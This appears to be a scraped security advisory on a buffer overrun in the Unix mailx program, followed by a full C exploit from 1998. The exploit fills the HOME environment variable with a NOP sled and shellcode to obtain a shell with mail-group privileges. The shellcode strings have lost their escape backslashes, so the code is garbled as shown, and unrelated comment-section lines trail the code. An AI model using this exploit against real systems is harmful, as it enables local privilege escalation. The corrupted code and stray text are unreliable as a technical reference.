source: http://www.securityfocus.com/bid/393/info
A buffer overrun exists in the /bin/mailx program. This program was originally developed as part of BSD, and is available on many Unix systems. By supplying a long, well crafted buffer as the username argument, an attacker can use it to execuate arbitrary code. On some systems, this will result in the ability to execute code as group mail.
/*
* mailxploit.c (Linux/i386)
* Sat Jun 20 00:47:59 CEST 1998
* Alvaro Martinez Echevarria <[email protected]>
* Exploit a buffer overrun in mailx using the environment variable
* $HOME, to acquire "mail" group privileges (assuming that mailx
* is installed setgid mail).
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
/*
* The location of mailx.
*/
#define MAILX "/usr/bin/mail"
/*
* The gid for group mail (represented in a char, in hexadecimal).
*/
#define GID "x08"
#define DEFAULT_OFFSET 2000
#define DEFAULT_BUFFER_SIZE 1124
#define NOP 0x90
char shellcode[] =
/* seteuid(GID); setreuid(GID,GID); */
"x31xdbx31xc9xbbxffxffxffxffxb1" GID "x31xc0xb0x47xcdx80"
"x31xdbx31xc9xb3" GID "xb1" GID "x31xc0xb0x47xcdx80"
/* generic shell code by Aleph One */
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long
get_sp(void) {
__asm__("movl %esp,%eax");
}
int
main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
addr = get_sp() - offset;
if ((buff=(char *)malloc(bsize))==NULL) {
fprintf(stderr,"error in malloc()n");
exit(1);
}
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = ' ';
setenv("HOME",buff,1);
execl(MAILX,MAILX,"-n","-f","~/patata",NULL);
exit(0);
}
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666